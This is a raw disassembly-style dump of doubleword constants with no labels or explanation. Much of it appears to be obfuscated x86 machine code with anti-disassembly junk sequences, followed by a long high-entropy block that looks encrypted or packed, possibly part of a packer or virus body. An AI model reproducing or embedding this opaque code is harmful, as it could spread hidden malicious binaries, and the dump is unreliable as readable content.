		dd 6AABD8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 169AD9C3h, 0B5898304h, 5E70559h, 1961BD8Dh
		dd 850F05E7h, 0Ch, 68C0Fh, 0BD290000h, 5E70069h, 51006AADh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BE9E578h, 4B000000h, 0DF82C94Dh, 59EE4D2Eh,	7C812DDAh
		dd 2824h, 870F1000h, 0E0h, 11E9h, 8C07CC00h, 950FDFA9h
		dd 93D2FA70h, 0F25009B5h, 0E990A035h, 0Ah, 299D2D92h, 7D573ABDh
		dd 6050DDEFh, 14E8h, 96A1B600h,	0AF4B68A7h, 0BCBED582h
		dd 8ECC4560h, 6E4890A7h, 71BE6638h, 0F78B58F8h,	0BD899061h
		dd 5E725D9h, 2C24448Bh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 96C35040h, 0C398F420h, 85891F49h, 5E70C0Dh
		dd 68E0Fh, 9D290000h, 5E7057Dh,	13E990h, 0C3F70000h, 0C376969Eh
		dd 0E96E68Fh, 38289F5Bh, 8ADFFEB1h, 840F5072h, 17h, 12E9h
		dd 1102C900h, 0C5C18BA2h, 0F9FD5F45h, 0BAB6660Dh, 905D36C0h
		dd 68D0Fh, 8D010000h, 5E70ABDh,	4712858Dh, 0BD8905EAh
		dd 5E72285h, 0BD01D0FFh, 5E731C1h, 28244403h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h, 0F5AB8707h
		dd 8E8DFF5Eh, 8305EA7Dh, 0EA7D8EBDh, 0A750005h,	0B58DC033h
		dd 5EA8BD5h, 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h
		dd 502C2444h, 4712858Dh, 0D0FF05EAh, 28244403h,	8ADF8B97h
		dd 0EA7D8A85h, 74C08405h, 75073A04h, 0C032574Ch, 5EFD75AEh
		dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah
		dd 8B6D68Ah, 66EBD166h,	973D8D1h, 50413566h, 49F38166h
		dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh
		dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 1985FF04h, 0E905E722h
		dd 0FFFFFF5Dh, 52006A5Eh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 17339655h, 0CE90DD4h
		dd 35000000h, 9AADFF83h, 400BD282h, 60D432CFh, 2CE9B58Bh
		dd 8B6105E7h, 0E7221985h, 8D096005h, 5E72135h, 61DBB70Fh
		dd 6AE0D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0B58835C3h, 58EDA70h, 19618503h, 6A05E7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0BE64E6C3h, 0D52E173Dh, 6830FB2h, 89000000h,	0E72BB595h
		dd 0BEF505h, 0F9000000h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 5BD8921h, 6605E72Ch, 50006AADh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9D89F1A1h, 5E71FC9h,	0A3DB509h, 0E0C105E7h, 53006A02h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 6D2F33AEh, 3EC99B1h,	0E70C4585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD899E8Eh
		dd 5E73265h, 85D8531h, 0E99605E7h, 7, 0E0C1AC2Bh, 0ADAC5723h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0ABC35747h
		dd 326768B3h, 0FC06A53Ch, 247C81F9h, 24h, 0EA870F10h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9274C350h, 30BB0EB6h, 8CCCA319h, 2A419D31h
		dd 0E99005E7h, 0Eh, 19DAAD3Fh, 86C28915h, 0B70147C8h, 0F504227h
		dd 68Dh, 0BB666000h, 9061936Bh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0E8C35242h,	90EF3AA5h, 8BF8ACC0h
		dd 6A282444h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 7091C355h, 60EB9426h, 8BCE8B66h
		dd 0E72EBD9Dh, 8B0F6105h, 9, 0F38B6660h, 1A69BE66h, 50609061h
		dd 28B96652h, 0F310FF5h, 8Fh, 66585A00h, 5061F98Bh, 0B860Fh
		dd 6E90000h, 8C000000h,	5C492EE3h, 8DF5901Eh, 0EA471285h
		dd 0D0FFF505h, 54EF8160h, 0FC21E3EFh, 24440361h, 10870F24h
		dd 0E9000000h, 0Bh, 446A5D5Ch, 3F8EF4FEh, 0FFABCD8h, 18Ch
		dd 4489F800h, 0C6F51C24h, 0E732A585h, 85C70005h, 5EA7F23h
		dd 0
		dd 7D9285C7h, 5EAh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 8E1FE8C3h, 0B6B44FF0h
		dd 157DB589h, 9D8905E7h, 5E72CB5h, 6840Fh, 9D890000h, 5E706CDh
		dd 8E0F61F9h, 0Bh, 6E9h, 7190E600h, 0C236197Dh,	6A0008h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 45EDF8C3h, 2DB589F7h, 8905E70Ch, 0E72769B5h,	45858B05h
		dd 0E905E70Ch, 0Ch, 6935551Ah, 0B4CE93FDh, 0FB7F927h, 0D5BD294Ah
		dd 6B05E717h, 8C0F04D2h, 14h, 0FE9h, 63197000h,	0E9E17837h
		dd 0E8A526B3h, 0D5E9EB28h, 0BE9C203h, 33000000h, 5EE37C57h
		dd 2E53E41Fh, 6A965639h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0ADADC352h,	9858529h
		dd 7C8105E7h, 2424h, 870F1000h,	129h, 1998531h,	0F5005E7h
		dd 208Bh, 0E9525000h, 6, 0A1D80A52h, 310FC3E0h,	0AE9h
		dd 57138200h, 0AEAB1EDCh, 5A076150h, 24048958h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A4C35343h, 640CBEA5h
		dd 0F0BAC6BCh, 2824448Bh, 95B589h, 509005E7h, 10E952h
		dd 388B0000h, 6DB872BAh, 0D042B154h, 0EC5F064h,	310F0C48h
		dd 0EEB86660h, 0EE86Fh,	3FCB0000h, 1B19787Fh, 556E8FBBh
		dd 6E5AA921h, 585A615Fh, 0FE96050h, 57000000h, 0D956502Dh
		dd 87CEE46Ch, 40B67C5Ch, 0B6BB9580h, 61088878h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 5484D38h, 1C820F5Ch,	0F000000h, 168Bh, 11E900h, 1FA90000h
		dd 18E1F959h, 222AB0F4h, 7F34C727h, 8D6B4907h, 0EA471285h
		dd 8960F505h, 0E71FA18Dh, 610BB305h, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 89560EC3h
		dd 0E72B25B5h, 0FD97E905h, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 858D7FC3h
		dd 5EA90FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	79C35646h, 0BA9782D1h, 89604937h, 0E7128195h, 68E0F05h
		dd 89000000h, 0E707F185h, 60906105h, 0B31DD2B9h, 5E962h
		dd 7CB70000h, 61B01C43h, 9E950h, 0E1F20000h, 0EECEEDE3h
		dd 90947854h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	92C35545h, 0BD8954D0h, 5E7192Dh, 35FF64h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 9575C351h, 8BC59AAEh, 85292404h, 5E71FF9h
		dd 0AD8589h, 820F05E7h,	6, 3318509h, 896405E7h,	25h, 95896000h
		dd 5E72F51h, 8E8h, 0E029D600h, 61067BFBh, 8D615ADDh, 0EA8F8585h
		dd 6089F905h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 8099DD5Ah, 31D7F634h, 0E72345B5h
		dd 81666005h, 610907C0h, 1D2E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 262B8CC9h
		dd 0E8DB8Bh, 5D000000h,	8F7EED81h, 9CBC05EAh, 830012FFh
		dd 0E7183DBDh, 18740005h, 1185858Bh, 0C605E7h, 0D5858B00h
		dd 0C605E729h, 95FF0000h, 5E71701h, 96B5FF60h, 8D05EA79h
		dd 0EA799A85h, 858D5005h, 5EA7B92h, 0BD95FF50h,	8305E709h
		dd 29610CC4h, 0E70265B5h, 819D3105h, 8D05E715h,	0EA7B92B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0EFE794D2h, 0F5B5E47h, 896058D1h, 0E719999Dh
		dd 8D61FC05h, 0E71D89BDh, 138D0F05h, 0E9000000h, 0Eh, 8B7196B3h
		dd 0E494D96Eh, 0B26B7176h, 9D094626h, 5E7240Dh,	0F003E80h
		dd 5484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0A4581BE8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0EFC35646h,	0B3E47FDBh, 0FC2FD0B3h
		dd 0FFFFAFE9h, 68C0FFFh, 29000000h, 0E71B51B5h,	0B805h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 605474C3h, 0AA61D48Ah, 27C59589h,	7B805E7h
		dd 89000000h, 0E7281D9Dh, 6D85C705h, 105E716h, 29000000h
		dd 0E70B89BDh, 248D8D05h, 0E905E74Dh, 12h, 5297592h, 0A39C0363h
		dd 4A1739A1h, 3F132A83h, 0E1FFEAF7h, 0B19D2960h, 0B505E712h
		dd 5C8B6145h, 0E8550C24h, 0
		dd 7ED815Dh, 8B05EA91h,	0B883h,	96858900h, 8D05EA79h, 0EA8F7785h
		dd 0B8838905h, 5D000000h, 6AC3C033h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0A5FAC356h
		dd 0E0800534h, 0E960DDE8h, 11h,	22AEEDC3h, 0C1618283h
		dd 6C661343h, 857680CBh, 0F5BD89EBh, 6105E716h,	56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 7E2AD40Eh, 0A18719CCh, 8C0FD7F5h, 6,	1B518531h, 858D05E7h
		dd 5EA9327h, 13E9h, 7E316B00h, 44386589h, 0A0690E54h, 7D014D13h
		dd 918307E9h, 168B0F90h, 0E9000000h, 11h, 6F7DD7CCh, 97FBECECh
		dd 5FC4AF7Dh, 0CBE780E2h, 0E86050BDh, 14h, 0CF3F5BEEh
		dd 2182C3BBh, 413ACF58h, 3CE4AA55h, 0B3EC8497h,	8A0Fh
		dd 615B0000h, 64FCF990h, 35FFh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 20738AC3h
		dd 64F821EBh, 2589h, 85890000h,	5E728A5h, 93D5858Dh, 810F05EAh
		dd 0Ch,	68F0Fh,	85890000h, 5E70021h, 1016089h, 0E71CDD8Dh
		dd 0A585C605h, 4F05E732h, 1890Fh, 68FC0000h, 0A245C57Eh
		dd 7E960h, 0E5930000h, 4997A71Bh, 0CE8B66DBh, 24348161h
		dd 5C8DB154h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	0D2C35646h, 0A8C0Fh, 5E90000h, 2D000000h, 6C9E99E3h
		dd 2B05B5FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0BD6CE0C3h, 57045A9Fh, 7DA1858Dh
		dd 800F05EAh, 12h, 0DE9h, 9C688200h, 84496616h,	4059A42Eh
		dd 0FFF5C70Dh, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 95BD31FFh, 8905E732h
		dd 0E705DD9Dh, 0B4E905h, 85310000h, 5E72981h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0EA9331EDh, 99858B05h, 8905E708h
		dd 0E72B0585h, 85858B05h, 8905E717h, 0E7329985h, 6D858B05h
		dd 8905E72Ah, 0E7251185h, 0A585C605h, 5E732h, 7F2385C7h
		dd 5EAh, 858D0000h, 5EA93D5h, 0B88389h,	335D0000h, 0E860C3C0h
		dd 0Fh,	3312889Ch, 88F68F53h, 0E2820ABCh, 663D5F85h, 0F023F381h
		dd 0BE95Fh, 0B1120000h,	0E6E27DD0h, 0E664CE43h,	6A61EDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9DE8A0C3h, 88298EF6h, 5E9h, 5A168800h, 74BCE0C5h, 6A0012FFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0BA41C353h, 9D299F31h, 5E70B35h, 58F64h
		dd 0FC000000h, 6A04C483h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0B413C356h,	0B696DE2Ah
		dd 91143EEAh, 21952B60h, 0F505E725h, 0E5E96161h, 10000000h
		dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
		dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
		dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
		dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h
		dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h,	6DF72020h
		dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h
		dd 43F2FD54h, 770BEC5Ch, 0D6CE9h, 97E86800h, 5CE905EAh
		dd 68FFFCEBh, 5EA98DFh,	0FCEB52E9h, 99E068FFh, 48E905EAh
		dd 68FFFCEBh, 5EA9A95h,	0FCEB3EE9h, 9B0D68FFh, 34E905EAh
		dd 68FFFCEBh, 5EA9BC6h,	0FCEB2AE9h, 9D4768FFh, 20E905EAh
		dd 68FFFCEBh, 5EA9E4Ah,	0FCEB16E9h, 9F0E68FFh, 0CE905EAh
		dd 68FFFCEBh, 5EA9FDBh,	0FCEB02E9h, 0A09C68FFh,	0F8E905EAh
		dd 5CFFFCEAh, 0ABFB9188h, 0F444DA4Fh, 429228F1h, 8DDD73BEh
		dd 0C25BB6Eh, 0AE7B80A3h, 0FB36C818h, 45EC1565h, 91A05FAFh
		dd 200D26FBh, 5A7C693Ch, 0C659DEC4h, 0C9ABF839h, 3745FC35h
		dd 883169C8h, 0FD54A2D6h, 0AF992F02h, 62B1C384h, 48AB126Ah
		dd 93361AA9h, 0F0BE5492h, 0D1BED38Ah, 549292EDh, 5C6FA775h
		dd 67C23947h, 5F4A821Ah, 51778528h, 0AB8DDAA8h,	0F747DD54h
		dd 1BDC2908h, 5A79A93Ch, 0A0ED3CBEh, 0A4F140BEh, 4F5CAA06h
		dd 112FBDADh, 0A92B0FFCh, 0E5B35A79h, 0D35EA1ADh, 1F12ED3Dh
		dd 82665368h, 0A5A79A8h, 795B043Ch, 8A5EAB86h, 6BBE3D4Bh
		dd 8A4E861Eh, 171AE57Ch, 28152A81h, 5A79A844h, 0DEC6FECCh
		dd 409B2934h, 0CCA26274h, 0E7E624Fh, 38065A79h,	851CA84h
		dd 5815ED0h, 0BF090000h, 98E534B1h, 43BCC800h, 0D62937EEh
		dd 0D950AB5Bh, 13BCF48Ch, 0CD63CE31h, 9148B0E3h, 76E045A4h
		dd 0AAF7C551h, 3B70AFC1h, 0B9499B04h, 91B69681h, 0AD385A79h
		dd 0C23D1F6Ch, 3C70226Fh, 444AE1AEh, 4619C3B6h,	53FA409Bh
		dd 0A3000000h, 78C56C95h, 0F59C0192h, 2B9111B3h, 0ADBFE2F3h
		dd 735545A1h, 5DA1513Ch, 0CDF69CD4h, 0A28FA45Bh, 54929EBEh
		dd 32C87846h, 0BFACBFF7h, 5177C6F8h, 745DAA78h,	0D5C52162h
		dd 85604CA8h, 0BF62E94h, 5A798F2Bh, 3F2AC0C6h, 409B4795h
		dd 11976h, 39C62100h, 0ADC2ABF8h, 0D3C7AB98h, 814F5491h
		dd 91D40EF2h, 90C89654h, 65B27784h, 68B57C83h, 4B9F6D7Fh
		dd 359B176Fh, 6BB87985h, 708F9BD3h, 8DFC2BC1h, 8F54923Dh
		dd 0F50AC170h, 92442408h, 0A6DEAC54h, 4C9B64B4h, 61D030AFh
		dd 62167C14h, 1BDDD229h, 1CD339D3h, 9AEEED0Eh, 0E5686A81h
		dd 23CC046Ah, 5BCE2C3Ah, 626D280Eh, 0AA8C821h, 9DC66CA4h
		dd 33CB04E1h, 0B34B98FEh, 0BEA9964Dh, 0C6517736h, 0B23341F8h
		dd 4A821A67h, 85456E58h, 8C724A82h, 0DD1ECEC1h,	1D2FE64Ch
		dd 53233153h, 39C17189h, 0D30BA3F0h, 0E686D3C0h, 3806575Fh
		dd 0A1887381h, 99C7D8EAh, 0C45986B7h, 0B14A9A8Ch, 1461D02Eh
		dd 0FD34CC7Ch, 5CBF7397h, 0CCA9DF02h, 9EC28h, 0E336AE00h
		dd 2CFDFD4Dh, 7A9F4696h, 0C56C94E4h, 0D1CDF2Fh,	0D2F55E77h
		dd 1A6A0029h, 67B74DE4h, 0B101979Ah, 784DE34Eh,	6A8E725Fh
		dd 30165A7Ch, 0A635C6ABh, 0E180978Ch, 0C76299CDh, 167CE27Ah
		dd 62CF3080h, 0FB2C77CCh, 26EDDA91h, 0A65176FCh, 0EACA8BD8h
		dd 855A78FBh, 54FE697Fh, 35409BD4h, 0D2h, 34ADBFE0h, 0B425C8B4h
		dd 1CE3EF27h, 0B1FE33CBh, 0EAFCB319h, 77645F97h, 54927B93h
		dd 74994D1Bh, 751E5678h, 8A776893h, 758A41A7h, 0B9A9767h
		dd 54926327h, 0A9E1AFh,	925FD03Fh, 42DD254h, 6E11E6Eh
		dd 19D036FBh, 67331704h, 0EDBB5492h, 11230CB5h,	35B2D5C2h
		dd 39DF17CEh, 0FAE79E0Eh, 5177110Fh, 0C9B34917h, 8A772E9Eh
		dd 575FA12Ch, 1227DEACh, 0E532F704h, 0F209154Dh, 0AA51A137h
		dd 86D9F631h, 66CF96Eh,	3FC5AE2h, 0B15532DFh, 8F5h, 44DA3FA5h
		dd 8D2306F4h, 0DB71A83Dh, 26BC758Bh, 6E0425D6h,	32C9EC55h
		dd 0ED1161F7h, 0A35EAE44h, 57A8F88Eh, 566F44DAh
		dd 7C6B8569h, 0A2270D5Ah, 0E44DB1BFh, 0CE5BA0ACh, 1A17E838h
		dd 39C62F84h, 0C83341F8h, 447C1461h, 0B09DB29Bh, 5491D3CCh
		dd 424E8654h, 2D5226BDh, 0AC40AE22h, 4B59B046h,	4B2D7AAFh
		dd 962E7BB6h, 2E647C30h, 0C32C8118h, 7C65108Bh,	8EBAFE6Ah
		dd 4078055Ah, 48FF699Ah, 58D92533h, 503B730Bh, 5177D40Dh
		dd 0B27F8290h, 8795CD65h, 53A0916Fh, 67E855BBh,	0B041CBB1h
		dd 4DDC1E2Ch, 8A306800h, 8D5AA559h, 0F258BE73h,	906B4E3Bh
		dd 25F35627h, 702B5CD8h, 29969F83h, 0F359275Fh,	563A273Ch
		dd 0E05F2996h, 8E5C0E1Bh, 17564356h, 975C1372h,	0FB0412C9h
		dd 1414F8E5h, 0CE9C6514h, 5BA3B168h, 59A789D6h,	8DF38BD8h
		dd 0EC136355h, 0CB252145h, 9673DA51h, 7F4F2h, 0DB3EA600h
		dd 2405F545h, 72A73E8Eh, 0BD748CDCh, 524D727h, 0CAED566Fh
		dd 1262F831h, 5FAF45ECh, 0A9F98FA2h, 7045DB56h,	6C866A57h
		dd 280E5A7Ch, 0AE39C6A3h, 2F7CE237h, 611880B3h,	76F7F574h
		dd 7027F551h, 6D73995Eh, 68A04CA2h, 0F15B8C76h,	17C4D3Ah
		dd 36045763h, 0A38E717Fh, 0EF42BD0Dh, 8BFD26A2h, 983DE7D4h
		dd 0F7C55D4Dh, 64CD3240h, 0B0817ECEh, 0D00FEBF9h, 4B98FE2Bh
		dd 56D27BB3h, 0C53C6D2Dh, 225520D0h, 8D1805BCh,	9063337Ch
		dd 2658527Eh, 720A57DAh, 36DA42BEh, 0C90167CAh,	0CBAF9CBBh
		dd 536C3500h, 55FB1F85h, 9FD330DEh, 73F1EC2h, 895B0000h
		dd 50AAFA90h, 0F2F343D9h, 0BF419127h, 6F8CDC72h, 0A20B24BAh
		dd 17AD7C7Fh, 64FA37C7h, 0AE44ED14h, 0FA90A15Eh, 3B1F0C25h
		dd 0C35A7C6Eh, 0ADBF58DDh, 267F5F8Fh, 247024ACh, 0DC63D826h
		dd 50832961h, 6AD0619Eh, 72A4C6B3h, 0DEAC517Bh,	47E21927h
		dd 11EEFC0Fh, 0C53A8A20h, 70A31F6Ch, 0A4F140BEh, 2EFA60Ch
		dd 5761B783h, 0C991B583h, 1FDF0226h, 6C79E42h, 11D30000h
		dd 0D8227208h, 7A6BBB51h, 47B9099Fh, 0F70454EAh, 1A839C32h
		dd 8F2504F7h, 0DC72BF3Fh, 26BC758Ch, 720829D6h,	0B397849Dh
		dd 3B5A7C6Eh, 0FB2CD055h, 1CEDDA91h, 0A4517B47h, 0F50A1FD6h
		dd 7C692408h, 0A6DEAC5Ah, 7E7E659Ah, 0C4C00E98h, 83AE5202h
		dd 0C837871Dh, 25331C69h, 0F99F53D6h, 85208DE0h, 1344EA22h
		dd 0F0DDF2A9h, 5A7C460Ch, 7B8EC694h, 65B9E48Eh,	0E79E6C57h
		dd 4DC7B5D5h, 972F7CADh, 0AAC5A8E3h, 0AE515F72h, 41BECC83h
		dd 684C39F0h, 0F0606705h, 0A1F8EA22h, 89C16893h, 62AF827Dh
		dd 944BBDE6h, 4C0C1CA7h, 3256245Dh, 0D917CE32h,	0E39DDBAh
		dd 8C000006h, 0DB2BC158h, 24740A1Fh, 72C258C1h,	0BD0DA38Eh
		dd 3C55EB3Eh, 0DE4BB0D3h, 2B06F848h, 75BC4595h,	0C1708FDFh
		dd 503D562Bh, 5A7C6E6Ch, 0BF890EF4h, 92DF4AB1h,	49B6C2FAh
		dd 0A0B29BE8h, 0D39AFFEAh, 0BF41F1BDh, 0D12E3A72h, 0E349E816h
		dd 4DDC1E2Ch, 0BECC2315h, 79FEC3Dh, 8EFE29CFh, 0E5FFC5D7h
		dd 1327318Fh, 45929763h, 756275ADh, 5177B016h, 0BA7BC896h
		dd 5A79AFDAh, 0C3996F75h, 0AFE74AB5h, 9B241DC7h, 4DFE40h
		dd 2CA90000h, 0CCDA91FBh, 5A47FE33h, 5491D376h,	0E5F830FEh
		dd 76FC31F8h, 619EAC51h, 52B87986h, 0F13E0C1Ah,	78FB5030h
		dd 17E5EB5Ah, 53372439h, 0D95A78FBh, 8AFAAE0Ah,	4816C86Dh
		dd 62359294h, 376F476Dh, 9B4CA54Fh, 0F18640h, 0C6310000h
		dd 3341F839h, 432714CCh, 0CB5491D3h, 0B65F97FDh, 4B0227D4h
		dd 0BB6BBE3Dh, 0BB4EC45h, 0A45BD629h, 0D3BEA28Fh, 54415491h
		dd 5491D370h, 0AA782AF8h, 0ABC0DBF6h, 73AB69A9h, 0CC17E8CAh
		dd 386A4D9Ah, 0FDB41A78h, 59F1A8EBh, 91D9886Ch,	8E421054h
		dd 0DA123F30h, 994AB9E8h, 0B34C5492h, 7F91E87Eh, 0C1745680h
		dd 0BFCB039Bh, 28A4F140h, 0E9D68DFFh, 517730F6h, 0D56EE2FEh
		dd 9F53DE22h, 167C365h,	0E656816Bh, 9BDC422Fh, 0EDC575Fh
		dd 2DB24957h, 4ACF16D1h, 99FF97E4h, 0E148B303h,	321B1BDh
		dd 7E22FFDFh, 48Dh, 0AC42D70Dh,	0F58B9E5Ch, 43D940A5h
		dd 8E240DF3h, 0D66CBD3Eh, 0CA3154BDh, 8579C95Fh, 3BC616ACh
		dd 0EF1060F6h, 0BED7AC42h, 7C70EDD1h, 0A8F755Ah, 3DF435C6h
		dd 2A62CF2Fh, 5CFE138h,	3C2AF95Fh, 1BE4F028h, 2C2B8016h
		dd 0EDDA91FBh, 5176FC26h, 0CA8BD8A6h, 5A78FBEAh, 0FE697F85h
		dd 409BD454h, 0D735h, 39C6E000h, 0D3D6BAA7h, 905E5491h
		dd 0AE1405E0h, 0AD7C7F61h, 0D1309F60h, 162B5491h, 91D74529h
		dd 0C7FFCD54h, 57ED44BBh, 0DB0CF200h, 6DA50B26h, 46939E61h
		dd 80B14F5Dh, 81B05133h, 0A3DE31Bh, 0BFEEBA2h, 0E5176C9h
		dd 0F62EFB00h, 9A841AE8h, 0E74AB569h, 0E59C029Ah, 0FE100ED3h
		dd 174F610Dh, 0F9D21704h, 3A52575Fh, 851D6AC7h,	6653681Fh
		dd 60631B82h, 1C341805h, 0EEBC6063h, 23366E3Ch,	31F5E615h
		dd 0AB3FC5F5h, 0A1786D1Dh, 0C056BC54h, 7A9E8B70h, 0DF02AEFEh
		dd 8AC56946h, 10000003h, 5FAF45D4h, 0A8F88E9Bh,	0F646DC3Dh
		dd 4191270Ah, 0C0D96FBAh, 62C73457h, 0AF827CCCh, 0F938C919h
		dd 45EC1363h, 0D4C1DAAFh, 5A7C71F0h, 0C60D9278h, 0E5EF435h
		dd 55AA40F1h, 0A895AABFh, 5491D3C4h, 0BEF7E4Ch,	935491D4h
		dd 7E818DC5h, 7B8466B3h, 9F1FFB6h, 33BD320h, 2D255211h
		dd 0EEDB92FAh, 5176E2ABh, 4FF86533h, 42D5B23Dh,	174FEC0Dh
		dd 8BC0F42Ch, 41ABDCF6h, 66697C8Ah, 0F830969Bh,	73B1F8E5h
		dd 1231FB93h, 44C5B000h, 0CE5D4C7Fh, 4958EEAh, 58A58C74h
		dd 0DA400EC0h, 76E6118Dh, 6A93D2BFh, 4513017Fh,	647F808Eh
		dd 0AF4A000h, 4CE24897h, 0A2E03FCh, 34E5AB78h, 0C63FE3C0h
		dd 0D4000002h, 23730910h, 6CBC52D7h, 0BA0AA079h, 555EB46h
		dd 849D33F6h, 2603F81Bh, 73BE4090h, 0BD748DDDh,	928D727h
		dd 98859E73h, 5A7C72B4h, 0C6D1563Ch, 2FABF839h,	0F0DD9404h
		dd 5176DC69h, 46059B69h, 4FB0BE23h, 0D304AAE2h,	0E84EDB1Fh
		dd 154E1F31h, 8CCFF43Eh, 0DA72BF72h, 0ECD0BD74h, 745A790Bh
		dd 6E5B6EA6h, 575E1A2Bh, 414997B3h, 1373663Dh, 60574226h
		dd 96FCCA60h, 0D642C330h, 46F3EE41h, 7F4AB1Dh, 19D3EC24h
		dd 0F1995A7h, 91FAB3EDh, 0C67D4B59h, 489D42B8h,	86EC84D1h
		dd 7F635039h, 722D5E0h,	0F29BD339h, 2AFFFB09h, 0B11B4CF2h
		dd 0BCCE0DFAh, 804E1FBFh, 0ED44BBC9h, 39F80757h, 0A5807715h
		dd 7014F116h, 1F9h, 40D643A1h, 891F0AF0h, 0D76DAC39h, 22B87987h
		dd 6A0029D2h, 36C5E851h, 0F10D5DF3h, 0A75AAA40h, 5BA4F48Ah
		dd 526B40D6h, 7C728165h, 9E23095Ah, 0ABF839C6h,	5F52B0C2h
		dd 2B7F2922h, 681A4DF3h, 0B64E9B96h, 738B9950h,	867386BEh
		dd 5177885Bh, 505E15E3h, 32CF7FAAh, 16D5C7FFh, 7C7F8D58h
		dd 90C860ADh, 984FB9EAh, 5E9768ABh, 0B522F057h,	32273034h
		dd 577A0F8h, 0CC7E614Eh, 38061638h, 0D4446FEBh,	6F3081Dh
		dd 1F3AD322h, 91DE53ACh, 0C97947F9h, 0D4BFF732h, 1C24AE95h
		dd 2CFDFD15h, 2AE147DFh, 2F130015h, 0B7252551h,	5AA5B1E9h
		dd 0EF141D7h, 8E97FF23h, 4E11A40h, 13860h, 97826200h, 0E049B101h
		dd 2EEBFA4Ah, 79B84898h, 0C16893E3h, 86A9122Bh,	0CE1EB475h
		dd 1B6B0130h, 65B54BE6h, 2C01979Ah, 73422613h, 0E4CA5A7Ch
		dd 0F839C65Fh, 5B3F2C41h, 0E35491D3h, 4B34DD15h, 2471A83Dh
		dd 85AE548Ch, 0B34E5C13h, 964F317Eh, 8E6D1D83h,	7EB64E9Bh
		dd 0C6EB7E6Bh, 25F35176h, 0C072A58Fh, 9A1EE3Bh,	7DEECA3h
